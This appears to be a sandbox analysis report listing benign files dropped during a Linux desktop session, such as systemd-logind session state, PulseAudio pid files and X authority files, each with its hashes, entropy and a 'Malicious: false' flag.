Preview:	# This is private data. Do not parse..UID=127.USER=gdm.ACTIVE=1.IS_DISPLAY=1.STATE=active.REMOTE=0.TYPE=x11.CLASS=greeter.SCOPE=session-c2.scope.FIFO=/run/systemd/sessions/c2.ref.SEAT=seat0.TTY=tty1.TTY_VALIDITY=from-pam.SERVICE=gdm-launch-environment.VTNR=1.LEADER=5778.REALTIME=1739375647347350.MONOTONIC=173767556.CONTROLLER=:1.19.DEVICES=13:65 13:64 .

/run/systemd/sessions/.#c2ez9NFK

Download File

Process:	/lib/systemd/systemd-logind
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.438576486171895
Encrypted:	false
SSDEEP:	6:SbFuFyLPCOcPdNH/hc/KHjwnsDxfx2xNIByy6GBKgMTqe:qgFqPuFNuCH0nI9x2xayWKgMee
MD5:	1C180270BE5892BF68F09C97B8B8398F
SHA1:	12E26E418D2F6B55288857FB5FD9C5605D9B7017
SHA-256:	FAD0A332605F0419546EF96FA66DD482E2B6DE3479D04FE92AC5E9B51D29C75B
SHA-512:	310483D2EDEC4F1608C1DDE7F8F07F8E751C79D78F6B4FE3E14EB522ABEE99AC7758FC109FDB4D80A32BCD534C7D95DD226D6ABB5C474D6F81847F48577023EC
Malicious:	false
Preview:	# This is private data. Do not parse..UID=127.USER=gdm.ACTIVE=1.IS_DISPLAY=1.STATE=active.REMOTE=0.TYPE=x11.CLASS=greeter.SCOPE=session-c2.scope.FIFO=/run/systemd/sessions/c2.ref.SEAT=seat0.TTY=tty1.TTY_VALIDITY=from-pam.SERVICE=gdm-launch-environment.VTNR=1.LEADER=5778.REALTIME=1739375647347350.MONOTONIC=173767556.CONTROLLER=:1.19.DEVICES=13:64 .

/run/systemd/sessions/.#c2h5A5zK

Download File

Process:	/lib/systemd/systemd-logind
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.4341026749364465
Encrypted:	false
SSDEEP:	6:SbFuFyLPCOcPdNH/hc/KHjwnsDxfx2xNIByy6GBKgMTq2:qgFqPuFNuCH0nI9x2xayWKgMe2
MD5:	F01487291A9349A8924E743E8F6E73D7
SHA1:	E368C8FD1A308803D6D71362E60978E1C69A74D4
SHA-256:	28F5557E7E987E7D9BDD2E4A0A379D53685CF147AE35DD78221D578AC54C3DA4
SHA-512:	A91F23313BE1AE96CCA1F56CA5AAB48D656E007BC91224255B49A7BE1D4CA5E557F59B5A82F60DA4E9307E6C53EEBB93F5E6BB1C53E7CFE7AADFAF6E57251B7D
Malicious:	false
Preview:	# This is private data. Do not parse..UID=127.USER=gdm.ACTIVE=1.IS_DISPLAY=1.STATE=active.REMOTE=0.TYPE=x11.CLASS=greeter.SCOPE=session-c2.scope.FIFO=/run/systemd/sessions/c2.ref.SEAT=seat0.TTY=tty1.TTY_VALIDITY=from-pam.SERVICE=gdm-launch-environment.VTNR=1.LEADER=5778.REALTIME=1739375647347350.MONOTONIC=173767556.CONTROLLER=:1.19.

/run/systemd/sessions/.#c2pr9yyL

Download File

Process:	/lib/systemd/systemd-logind
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.419416654653365
Encrypted:	false
SSDEEP:	6:SbFuFyLPCOcPdNH/hc/KHjwnsDxfx2xNIByy6GBKgMTqW:qgFqPuFNuCH0nI9x2xayWKgMeW
MD5:	C95A7C0C431ABB09D2BE3B3AFD055FD8
SHA1:	DB1FFB84B77A02E00415F906F4F39939CCA81013
SHA-256:	2B3D16253719C88A86B3B1B7566583EBF479800C7F7CE4135D3B92878F25D59E
SHA-512:	69CD6C5EABD844FB66294433C62A0A3DC8D5B95670DD7C815CA4A96CC4E3159C9D4F1D203D8A8AD1D5AEAC49F6129BD8063CFD1726F86926549FB0852505B2FD
Malicious:	false
Preview:	# This is private data. Do not parse..UID=127.USER=gdm.ACTIVE=1.IS_DISPLAY=1.STATE=active.REMOTE=0.TYPE=x11.CLASS=greeter.SCOPE=session-c2.scope.FIFO=/run/systemd/sessions/c2.ref.SEAT=seat0.TTY=tty1.TTY_VALIDITY=from-pam.SERVICE=gdm-launch-environment.VTNR=1.LEADER=5778.REALTIME=1739375647347350.MONOTONIC=173767556.

/run/systemd/users/.#127B9BB7H

Download File

Process:	/lib/systemd/systemd-logind
File Type:	ASCII text
Category:	dropped
Size (bytes):	238
Entropy (8bit):	5.165647435425085
Encrypted:	false
SSDEEP:	6:SbFuFyL3BVgdL87iesnAiyaSfgPKbQ2thQc2pb02nmD2p9rwC:qgFq30dAL/ixegCfthQHtPnmDq9x
MD5:	C7986E2C823016BC7B058BA4A50C1AC1
SHA1:	522BA7D671E512B51BB579F1C83C4BC6A95BD0DF
SHA-256:	D2816B6611CFC1627ACE5E29A6274359585F89FE9FAF5441650456F8540527C7
SHA-512:	2202405142B15CC5B5A8FD351E07ECBA124E8AECEAD893CD11B81D64BFFAB6B9289831481A829ED3A65F9DE95A54C14B15E9069D072D65183E56DBE85A1EC182
Malicious:	false
Preview:	# This is private data. Do not parse..NAME=gdm.STATE=closing.STOPPING=no.RUNTIME=/run/user/127.DISPLAY=c1.REALTIME=1739375637589557.MONOTONIC=164009763.SESSIONS=c1.SEATS=seat0.ACTIVE_SESSIONS=.ONLINE_SESSIONS=.ACTIVE_SEATS=.ONLINE_SEATS=.

/run/systemd/users/.#127GjxkDK

Download File

Process:	/lib/systemd/systemd-logind
File Type:	ASCII text
Category:	dropped
Size (bytes):	288
Entropy (8bit):	5.314141512214336
Encrypted:	false
SSDEEP:	6:SbFuFyL3BVgVuR257iesnAir/0IxffCFzgPKbQ2thQc2x9sS02/g2owB:qgFq30VuR8L/ibB8gCfthQHxbPYA
MD5:	329F98F9CADCA3442786AB10E33FA937
SHA1:	6CE4025C91E336FCA47B0A1F9A301EFB7C2D2676
SHA-256:	8B463E01E3BFBE275E2D7643F7668591D69109F2A3797427852426B3679083DA
SHA-512:	41AC54BF5879707158A9C5F7D86AC424178CF347A22C942404D7EE2D4FD3007BBBD555F9E8436AEF50F0270C2143AC4A3EE7C1DFA6BFFB0322CAF3BECA8269D8
Malicious:	false
Preview:	# This is private data. Do not parse..NAME=gdm.STATE=opening.STOPPING=no.RUNTIME=/run/user/127.SERVICE_JOB=/org/freedesktop/systemd1/job/7820.REALTIME=1739375637589557.MONOTONIC=164009763.SESSIONS=c1.SEATS=seat0.ACTIVE_SESSIONS=c1.ONLINE_SESSIONS=c1.ACTIVE_SEATS=seat0.ONLINE_SEATS=seat0.

/run/systemd/users/.#127HpUJ3I

Download File

Process:	/lib/systemd/systemd-logind
File Type:	ASCII text
Category:	dropped
Size (bytes):	238
Entropy (8bit):	5.165647435425085
Encrypted:	false
SSDEEP:	6:SbFuFyL3BVgdL87iesnAiyaSfgPKbQ2thQc2pb02nmD2p9rwC:qgFq30dAL/ixegCfthQHtPnmDq9x
MD5:	C7986E2C823016BC7B058BA4A50C1AC1
SHA1:	522BA7D671E512B51BB579F1C83C4BC6A95BD0DF
SHA-256:	D2816B6611CFC1627ACE5E29A6274359585F89FE9FAF5441650456F8540527C7
SHA-512:	2202405142B15CC5B5A8FD351E07ECBA124E8AECEAD893CD11B81D64BFFAB6B9289831481A829ED3A65F9DE95A54C14B15E9069D072D65183E56DBE85A1EC182
Malicious:	false
Preview:	# This is private data. Do not parse..NAME=gdm.STATE=closing.STOPPING=no.RUNTIME=/run/user/127.DISPLAY=c1.REALTIME=1739375637589557.MONOTONIC=164009763.SESSIONS=c1.SEATS=seat0.ACTIVE_SESSIONS=.ONLINE_SESSIONS=.ACTIVE_SEATS=.ONLINE_SEATS=.

/run/systemd/users/.#127MKwNdI

Download File

Process:	/lib/systemd/systemd-logind
File Type:	ASCII text
Category:	dropped
Size (bytes):	188
Entropy (8bit):	4.928997328913428
Encrypted:	false
SSDEEP:	3:SbFVVmFyinKMs5BuSgVuMI2sKiYiesnAv/XS12K2hwEY8mTQ2pJi22sQ2KkmD2pi:SbFuFyL3BVgVuR257iesnAi12thQc2p4
MD5:	065A3AD1A34A9903F536410ECA748105
SHA1:	21CD684DF60D569FA96EEEB66A0819EAC1B2B1A4
SHA-256:	E80554BF0FF4E32C61D4FA3054F8EFB27A26F1C37C91AE4EA94445C400693941
SHA-512:	DB3C42E893640BAEE9F0001BDE6E93ED40CC33198AC2B47328F577D3C71E2C2E986AAAFEF5BD8ADBC639B5C24ADF715D87034AE24B697331FF6FEC5962630064
Malicious:	false
Preview:	# This is private data. Do not parse..NAME=gdm.STATE=opening.STOPPING=no.RUNTIME=/run/user/127.SESSIONS=c1.SEATS=seat0.ACTIVE_SESSIONS=.ONLINE_SESSIONS=c1.ACTIVE_SEATS=.ONLINE_SEATS=seat0.

/run/systemd/users/.#127d4T4DJ

Download File

Process:	/lib/systemd/systemd-logind
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	5.3100339158514425
Encrypted:	false
SSDEEP:	6:SbFuFyL3BVgVuR257iesnAir/0IxffCFzgPKbQ2thQc2pb02/g2p9rwB:qgFq30VuR8L/ibB8gCfthQHtPYq9M
MD5:	E4EEF304F2A957F7E8B304DA071E6383
SHA1:	A7CDE2E8AEFD0AB3E9DA79E9B23D2B379F432860
SHA-256:	C80417E2D3125BEF4FE9DCD194ADFB7D9D588BC95DA94CB045118FBD4292F2D8
SHA-512:	DE6AFF30AE3EE41BD54FFF5989E123DEE68E202B6E3C3B0582E3CE8B6D517F638C4BFE05D465EE1C6AB4AE79524164F85864B54EDDB29F12BC9DDA8951639192
Malicious:	false
Preview:	# This is private data. Do not parse..NAME=gdm.STATE=opening.STOPPING=no.RUNTIME=/run/user/127.SERVICE_JOB=/org/freedesktop/systemd1/job/7820.REALTIME=1739375637589557.MONOTONIC=164009763.SESSIONS=c1.SEATS=seat0.ACTIVE_SESSIONS=.ONLINE_SESSIONS=c1.ACTIVE_SEATS=.ONLINE_SEATS=seat0.

/run/systemd/users/.#127gMgsoI

Download File

Process:	/lib/systemd/systemd-logind
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	5.164218052558713
Encrypted:	false
SSDEEP:	6:SbFuFyL3BVgNz7iesnAiyaSfgPKbQ2thQc2x9sS02/g2owB:qgFq30NzL/ixegCfthQHxbPYA
MD5:	B52A7CEAA7AEC2D47816703DAF58A33A
SHA1:	51B92A49CFE10F710ECDC428C9BD53E672255ECE
SHA-256:	359F5008E786AFE0FFDBF799E69414198FDB41A294E123AF8C27C012F5E51699
SHA-512:	95F12FD45F34054273D74FBAF0E6A377745DF222E836D484B63698A1BADAFC00C4763B9B3587A0018242FFCEE2AAC092CFD28D2505C62DD5D4F7F3994C3F6C70
Malicious:	false
Preview:	# This is private data. Do not parse..NAME=gdm.STATE=active.STOPPING=no.RUNTIME=/run/user/127.DISPLAY=c1.REALTIME=1739375637589557.MONOTONIC=164009763.SESSIONS=c1.SEATS=seat0.ACTIVE_SESSIONS=c1.ONLINE_SESSIONS=c1.ACTIVE_SEATS=seat0.ONLINE_SEATS=seat0.

/run/systemd/users/.#127lu4lZL

Download File

Process:	/lib/systemd/systemd-logind
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	5.1801543075387935
Encrypted:	false
SSDEEP:	6:SbFuFyL3BVgL4q1c7iesnAiyaSfgPKbQ2thQc2x9sS02/g2owB:qgFq30z1cL/ixegCfthQHxbPYA
MD5:	900CCB9277F29031A6EB9B61A1B92772
SHA1:	1AF775BA2FF540DCC5C36275A6C7A7936195963A
SHA-256:	B764BC7D76BFCDCF4F081D6E3EC4B0467C8A52BD371573EBAC483EFD2FF3A6BC
SHA-512:	1A502DD2A610B257080EE26C6FB0EBB570EFA0BAD4BE98B18314129B09EB7AC471F95236DE70C244AB84E9B953E15A05B442D7FFAD4B632A1E458A10A05930D2
Malicious:	false
Preview:	# This is private data. Do not parse..NAME=gdm.STATE=online.STOPPING=no.RUNTIME=/run/user/127.DISPLAY=c1.REALTIME=1739375637589557.MONOTONIC=164009763.SESSIONS=c1.SEATS=seat0.ACTIVE_SESSIONS=c1.ONLINE_SESSIONS=c1.ACTIVE_SEATS=seat0.ONLINE_SEATS=seat0.

/run/systemd/users/.#127qhNF5K

Download File

Process:	/lib/systemd/systemd-logind
File Type:	ASCII text
Category:	dropped
Size (bytes):	240
Entropy (8bit):	5.169730840183743
Encrypted:	false
SSDEEP:	6:SbFuFyL3BVgL4q1c7iesnAiRJgPKbQ2z5c2zw02zb2owB:qgFq30z1cL/iRJgCfz5HzwPzbA
MD5:	463C367E244A9B784A436D4C58999E01
SHA1:	590E2B0E78F43DBCDFBFC1E50CF9D2F4280864D4
SHA-256:	F9E0390C17D59327E9B0CB3384BC1D9021E956D194A7289AE3C73D0AC99A33C3
SHA-512:	E2DE1C92F1E19897A01006103A47186C86F65FEAB934789D2C44B2187E41C613C8EFBD61197DE367BD59BB34AEEC8EA7F9254130BF048D1A84265F38D0D296A8
Malicious:	false
Preview:	# This is private data. Do not parse..NAME=gdm.STATE=online.STOPPING=no.RUNTIME=/run/user/127.REALTIME=1739375637589557.MONOTONIC=164009763.SESSIONS=c2.SEATS=seat0.ACTIVE_SESSIONS=c2.ONLINE_SESSIONS=c2.ACTIVE_SEATS=seat0.ONLINE_SEATS=seat0.

/run/systemd/users/.#127rHvB8L

Download File

Process:	/lib/systemd/systemd-logind
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.334231652087027
Encrypted:	false
SSDEEP:	6:SbFuFyL3BVgVuR257iesnAir/0IxffCFySYfgPKbQ2thQc2x9sS02/g2owB:qgFq30VuR8L/ibBrSIgCfthQHxbPYA
MD5:	F8834C11515EA243C8E25935AEA2C104
SHA1:	6CA6A55AFCB531F4684D5772AC29AEAEAD6BAC04
SHA-256:	7EF6487C2346658FF1D218C7D3EEEA8E55F377EEE7319C3B88B8CA3103150C07
SHA-512:	7988094A02053D5F3404747CAC7C18C9222D426F471C483F6A2317706FFF6B2E6C7DCCC7B88C67A1895686D155857B0B0EDBC9C1041BD6733EBB48FF2A22DE61
Malicious:	false
Preview:	# This is private data. Do not parse..NAME=gdm.STATE=opening.STOPPING=no.RUNTIME=/run/user/127.SERVICE_JOB=/org/freedesktop/systemd1/job/7820.DISPLAY=c1.REALTIME=1739375637589557.MONOTONIC=164009763.SESSIONS=c1.SEATS=seat0.ACTIVE_SESSIONS=c1.ONLINE_SESSIONS=c1.ACTIVE_SEATS=seat0.ONLINE_SEATS=seat0.

/run/systemd/users/.#127slGWcI

Download File

Process:	/lib/systemd/systemd-logind
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	5.193249751673466
Encrypted:	false
SSDEEP:	6:SbFuFyL3BVgL4q1c7iesnAiyaSaTgPKbQ2z5c2zw02zb2owB:qgFq30z1cL/ixxTgCfz5HzwPzbA
MD5:	139A4ACE01BBDD3C232102C6576FBF57
SHA1:	A70D017EF44F16007B08F622FAE6C6B4C2461250
SHA-256:	10938D18E4F1D7E6DED907089250958E1E64959193E05AE49DB02F3DFC745A57
SHA-512:	B8602C8564F99DA7CF14D46996B1084D2D744105F7352D45A0EC0AF94CBB423C656C19039C4991555DD67F76CD1581B7C2A61B9EE81D976BCDF532F1EF7A8807
Malicious:	false
Preview:	# This is private data. Do not parse..NAME=gdm.STATE=online.STOPPING=no.RUNTIME=/run/user/127.DISPLAY=c2.REALTIME=1739375637589557.MONOTONIC=164009763.SESSIONS=c2.SEATS=seat0.ACTIVE_SESSIONS=c2.ONLINE_SESSIONS=c2.ACTIVE_SEATS=seat0.ONLINE_SEATS=seat0.

/run/systemd/users/.#127ysf9dJ

Download File

Process:	/lib/systemd/systemd-logind
File Type:	ASCII text
Category:	dropped
Size (bytes):	245
Entropy (8bit):	5.180743969653494
Encrypted:	false
SSDEEP:	6:SbFuFyL3BVgdL87iesnAiyaSfgPKbQ2thQc2x9sS02nmD2owC:qgFq30dAL/ixegCfthQHxbPnmDd
MD5:	099985143A52392826F5812B1217F38D
SHA1:	AAC1A2C7D00EF3A2C4E6D8D769512B4AA615AC6D
SHA-256:	3EC77F44A42098648094ACE921DEB17B720E20ACF2D555EAA4F0E3576CD40CB0
SHA-512:	E6938A70C7DB7715CD0481157C97BDD620943F54B45DF43AF2232A779B87B375428F7A2F5FED363E3E7110398A36EAF39D0A5F2A405F8F896FC40B49A353788F
Malicious:	false
Preview:	# This is private data. Do not parse..NAME=gdm.STATE=closing.STOPPING=no.RUNTIME=/run/user/127.DISPLAY=c1.REALTIME=1739375637589557.MONOTONIC=164009763.SESSIONS=c1.SEATS=seat0.ACTIVE_SESSIONS=c1.ONLINE_SESSIONS=.ACTIVE_SEATS=seat0.ONLINE_SEATS=.

/run/systemd/users/.#127z7AhWL

Download File

Process:	/lib/systemd/systemd-logind
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	5.177313496693386
Encrypted:	false
SSDEEP:	6:SbFuFyL3BVgNz7iesnAiyaSaTgPKbQ2z5c2zw02zb2owB:qgFq30NzL/ixxTgCfz5HzwPzbA
MD5:	7DAC638F91A4A6028D9016CE2B55B9C9
SHA1:	393C0639170AEDB31C4966B6B6B4E3D2EED5670F
SHA-256:	1F67EE17263203A6B461CD912F603B93E3AAEB73ED67FF00124595808E6D27D6
SHA-512:	0968FF9BBEA1B468BE433A022C57C006D87FCB70D861C682BF59100F78F48EC21F70A549B0DBC9C5118E5CD979A13D4E9CBC83396ABB7075A58EFFBB30A6A8F4
Malicious:	false
Preview:	# This is private data. Do not parse..NAME=gdm.STATE=active.STOPPING=no.RUNTIME=/run/user/127.DISPLAY=c2.REALTIME=1739375637589557.MONOTONIC=164009763.SESSIONS=c2.SEATS=seat0.ACTIVE_SESSIONS=c2.ONLINE_SESSIONS=c2.ACTIVE_SEATS=seat0.ONLINE_SEATS=seat0.

/run/user/1000/pulse/pid

Download File

Process:	/usr/bin/pulseaudio
File Type:	ASCII text
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.9219280948873623
Encrypted:	false
SSDEEP:	3:FdJn:nJn
MD5:	531EC9267EFDC9B27A218411F60559B0
SHA1:	4B3852666367821A309AEE2D9B399354C9B18D5B
SHA-256:	0819FB915F438E87B3553B0E74D2EB4B873F1A9857824DEFA3CF77DD9F237BF6
SHA-512:	CE9712D908071E718EB4FEA775002FD2B20A4C1F109DA2059FD766079CF432223F05CAC59635B8C18A7552E1085C80B4387ED4F3248D9A4769F6936C41DDC70C
Malicious:	false
Preview:	5584.

/run/user/127/ICEauthority

Download File

Process:	/usr/libexec/gnome-session-binary
File Type:	TTComp archive data, binary, 1K dictionary
Category:	dropped
Size (bytes):	1304
Entropy (8bit):	5.973121800196863
Encrypted:	false
SSDEEP:	12:OxP6L/OveY+6Y6gxPZe0IOveY+Z6OgxPDQXwveY+D44xPUBKiveY+U3BQZ0veY+5:l6l0ICQXIr86BPav1k+1Sh5+p
MD5:	8BA917223E25CAED6E1CA722587261A2
SHA1:	2169B9105B10639F9016BDBD3156EE428743656D
SHA-256:	6426A0EE7FE5C41C5242024164A624EBC2DE815554E9F9544B71E7A7A977079E
SHA-512:	749F6705E2D922222C522500747B0EDDBC802B314E8FB539C80816A7D507E92DCAB548B90684ED7149D57AFA3D48876C5066EE6F66F2C7114E61605790AAD356
Malicious:	false
Preview:	..XSMP...!unix/galassia:/tmp/.ICE-unix/5805..MIT-MAGIC-COOKIE-1..l...R...$-&...Y...XSMP...#local/galassia:@/tmp/.ICE-unix/5805..MIT-MAGIC-COOKIE-1....<{T.=.Qm.\|~.I...ICE...!unix/galassia:/tmp/.ICE-unix/5730..MIT-MAGIC-COOKIE-1..g...V.L.x.....r...ICE...#local/galassia:@/tmp/.ICE-unix/5730..MIT-MAGIC-COOKIE-1...PX.#.VFn....Y...XSMP...!unix/galassia:/tmp/.ICE-unix/1383..MIT-MAGIC-COOKIE-1.....w.0......F!W...XSMP...#local/galassia:@/tmp/.ICE-unix/1383..MIT-MAGIC-COOKIE-1......,mN..b7.....ICE...!unix/galassia:/tmp/.ICE-unix/1313..MIT-MAGIC-COOKIE-1.....]v1..".?.}.....ICE...#local/galassia:@/tmp/.ICE-unix/1313..MIT-MAGIC-COOKIE-1...o4...6]..c..f....XSMP...#local/galassia:@/tmp/.ICE-unix/1313..MIT-MAGIC-COOKIE-1..N.#r......S.....XSMP...!unix/galassia:/tmp/.ICE-unix/1313..MIT-MAGIC-COOKIE-1.....q.p.."LS.DM(..ICE...#local/galassia:@/tmp/.ICE-unix/1383..MIT-MAGIC-COOKIE-1...]...,0..2...`..ICE...!unix/galassia:/tmp/.ICE-unix/1383..MIT-MAGIC-COOKIE-1...y.&.O...j../I....XSMP...#local/galass

/run/user/127/dconf/user

Download File

Process:	/usr/libexec/gsd-power
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Preview:	.

/run/user/127/gdm/Xauthority

Download File

Process:	/usr/lib/gdm3/gdm-x-session
File Type:	X11 Xauthority data
Category:	dropped
Size (bytes):	104
Entropy (8bit):	5.0217563256604105
Encrypted:	false
SSDEEP:	3:rg/WFllasO93GfPxjpxPWXNWFllasO93GfPxjpxPk:rg/WFl22HN2NWFl22HNk
MD5:	EE0B05EE378D38A10F7F2DAD1680E1E3
SHA1:	8DEC8C40C3B1C20195B1D5E773B43719368D499D
SHA-256:	13137240FE98BE87906C82C1CC3E7ABD83E9CDDDF6E7E5B390BDFF247C63B699
SHA-512:	96E66081E4651F8C04BB268FCA966CF7DA82208627AFC3CD8AF069E13A11E8AC5BF876D1D7127614D9CA1E14A65E83963DA705996F51A859F6F6673FF6DC627B
Malicious:	false
Preview:	....galassia....MIT-MAGIC-COOKIE-1.....d...............galassia....MIT-MAGIC-COOKIE-1.....d...........

/run/user/127/pulse/pid

Download File

Process:	/usr/bin/pulseaudio
File Type:	ASCII text
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.9219280948873623
Encrypted:	false
SSDEEP:	3:3:3
MD5:	8BE9FE050EEFE82D3DC56973A5AC1534
SHA1:	1CC9075B33722FA9E4D2A5468F8E4391CD209EF6
SHA-256:	93D282FB167EB3AD51EE797D83F05294D6A2BD964290A94F16C6D4CBF3059DED
SHA-512:	D009F2AE4F2730C4E2778560F668426ECCCFED9DA587C648152D8B0F21B8A82BECB0FF1F6AE54EA6B8030F2CB5D6CDF5A1BEFC26B39EA2A1EA330F1C50177EE6
Malicious:	false
Preview:	6068.

/run/utmp

Download File

Process:	/sbin/agetty
File Type:	data
Category:	dropped
Size (bytes):	384
Entropy (8bit):	0.6775035134351417
Encrypted:	false
SSDEEP:	3:q61sXlXEWtl/K+/el/:nQ+ylT2t
MD5:	2BFC89CE3DDA9FB08F3CFD989B59AC61
SHA1:	0DFE9898F3E663A9B5EC5B59EE98D590FE4A7314
SHA-256:	0904984A2C43048C4DEC11CE89931265C66142CF6FD2E436A1334F75638FEBD9
SHA-512:	CD557FAB58EA6B9D1AC8F70DAFDE433C0EBD71BE60A2158BB5DBE42119CEFF221AC9C400D5713207C1A90026A098315179932A0F446F97BA1101EC974447C761
Malicious:	false
Preview:	........tty2.tty2.......................tty2LOGIN.....................................................................................................................................................................................................................................................................................................g.......................................

/tmp/server-0.xkm

Download File

Process:	/usr/bin/xkbcomp
File Type:	Compiled XKB Keymap: lsb, version 15
Category:	dropped
Size (bytes):	12060
Entropy (8bit):	4.8492493153178975
Encrypted:	false
SSDEEP:	192:tDyb2zOmnECQmwTVFfLaSLus4UVcqLkjoqdD//HJeCQ1+JdDx0s2T:tDyAxvYhFf+S6tUzmp7/1MJ
MD5:	B4E3EB0B8B6B0FC1F46740C573E18D86
SHA1:	7D35426357695EBA77850757E8939A62DCEFF2D1
SHA-256:	7951135CC89A6E89493E3A9997C3D9054439459F8BFCE3DDEC76B943DA79FA91
SHA-512:	8196A23E2B5E525A5581562A2D7F2EE4FF5B694FEF3E218206D52EA9BFE80600BB0C6AA8968CA58E93E1AAD478FA05E157D08DB6D4D1224DDEA6754E377BE001
Malicious:	false
Preview:	.mkx..............D.......................h.......<.....P.@%.......&......D.......NumLock.....Alt.....LevelThree..LAlt....RAlt....RControl....LControl....ScrollLock..LevelFive...AltGr...Meta....Super...Hyper...........evdev+aliases(qwerty)...!.....ESC.AE01AE02AE03AE04AE05AE06AE07AE08AE09AE10AE11AE12BKSPTAB.AD01AD02AD03AD04AD05AD06AD07AD08AD09AD10AD11AD12RTRNLCTLAC01AC02AC03AC04AC05AC06AC07AC08AC09AC10AC11TLDELFSHBKSLAB01AB02AB03AB04AB05AB06AB07AB08AB09AB10RTSHKPMULALTSPCECAPSFK01FK02FK03FK04FK05FK06FK07FK08FK09FK10NMLKSCLKKP7.KP8.KP9.KPSUKP4.KP5.KP6.KPADKP1.KP2.KP3.KP0.KPDLLVL3....LSGTFK11FK12AB11KATAHIRAHENKHKTGMUHEJPCMKPENRCTLKPDVPRSCRALTLNFDHOMEUP..PGUPLEFTRGHTEND.DOWNPGDNINS.DELEI120MUTEVOL-VOL+POWRKPEQI126PAUSI128I129HNGLHJCVAE13LWINRWINCOMPSTOPAGAIPROPUNDOFRNTCOPYOPENPASTFINDCUT.HELPI147I148I149I150I151I152I153I154I155I156I157I158I159I160I161I162I163I164I165I166I167I168I169I170I171I172I173I174I175I176I177I178I179I180I181I182I183I184I185I186I187I188I189I190FK13FK14FK15FK16FK17FK18

/var/lib/AccountsService/users/gdm.7BSQ12

Download File

Process:	/usr/lib/accountsservice/accounts-daemon
File Type:	ASCII text
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.66214589518167
Encrypted:	false
SSDEEP:	3:urzMQvNT+PzKLrAan4R8AKn:gzMQIzKLrAa4M
MD5:	542BA3FB41206AE43928AF1C5E61FEBC
SHA1:	F56F574DAF50D609526B36B5B54FDD59EA4D6A26
SHA-256:	730D9509D4EAA7266829A8F5A8CFEBA6BBDDD5873FC2BD580AD464F4A237E11A
SHA-512:	D774B8F191A5C65228D1B3CA1181701CFCD07A3D91C5571B0DDF32AD3E241C2D7BDFC0697AB97DC10441EF9CDC8AEE5B19BC34E13E5C8B0B91AD06EEF42F5AEA
Malicious:	false
Preview:	[User].XSession=.Icon=/var/lib/gdm3/.face.SystemAccount=true.

/var/lib/AccountsService/users/gdm.W7XS12

Download File

Process:	/usr/lib/accountsservice/accounts-daemon
File Type:	ASCII text
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.66214589518167
Encrypted:	false
SSDEEP:	3:urzMQvNT+PzKLrAan4R8AKn:gzMQIzKLrAa4M
MD5:	542BA3FB41206AE43928AF1C5E61FEBC
SHA1:	F56F574DAF50D609526B36B5B54FDD59EA4D6A26
SHA-256:	730D9509D4EAA7266829A8F5A8CFEBA6BBDDD5873FC2BD580AD464F4A237E11A
SHA-512:	D774B8F191A5C65228D1B3CA1181701CFCD07A3D91C5571B0DDF32AD3E241C2D7BDFC0697AB97DC10441EF9CDC8AEE5B19BC34E13E5C8B0B91AD06EEF42F5AEA
Malicious:	false
Preview:	[User].XSession=.Icon=/var/lib/gdm3/.face.SystemAccount=true.

/var/lib/gdm3/.config/ibus/bus/ee49dfd4fa47433baee88884e2d7de7c-unix-0

Download File

Process:	/usr/bin/ibus-daemon
File Type:	ASCII text
Category:	dropped
Size (bytes):	381
Entropy (8bit):	5.156063852849084
Encrypted:	false
SSDEEP:	6:SbF4b2sONeZVkSoQ65EfqFFAU+qmnQT23msRvkTFacecf8h/zKLGWWo0RAXHs41y:q5sU3LWfLUDmQymqSFbfomSXR4fM
MD5:	D53BD3F7F68E291ACDA7D70055625F5B
SHA1:	3B8A9D68AA81A4EDF9F410B6E242C8E80B8B785C
SHA-256:	A28F4B02A9362B55307897C99B46F4BF478EB5CD6AE031E3DC814674DFCB15A4
SHA-512:	4CAACDD3893E0654F0BF5312EB5B9E33958C2F50730F09CD078C514AC82900A21000EA34EA698E7DE9A24DCBACF8E6872601B0DDBD3B8F04D2E280AABA49EF02
Malicious:	false
Preview:	# This file is created by ibus-daemon, please do not modify it..# This file allows processes on the machine to find the.# ibus session bus with the below address..# If the IBUS_ADDRESS environment variable is set, it will.# be used rather than this file..IBUS_ADDRESS=unix:abstract=/var/lib/gdm3/.cache/ibus/dbus-I3CEQuub,guid=2100b2d49412db879d227a0067acc443.IBUS_DAEMON_PID=5976.

/var/lib/gdm3/.config/pulse/ee49dfd4fa47433baee88884e2d7de7c-default-sink

Download File

Process:	/usr/bin/pulseaudio
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:v:v
MD5:	68B329DA9893E34099C7D8AD5CB9C940
SHA1:	ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
SHA-256:	01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
SHA-512:	BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
Malicious:	false
Preview:	.

/var/lib/gdm3/.config/pulse/ee49dfd4fa47433baee88884e2d7de7c-default-source

Download File

Process:	/usr/bin/pulseaudio
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:v:v
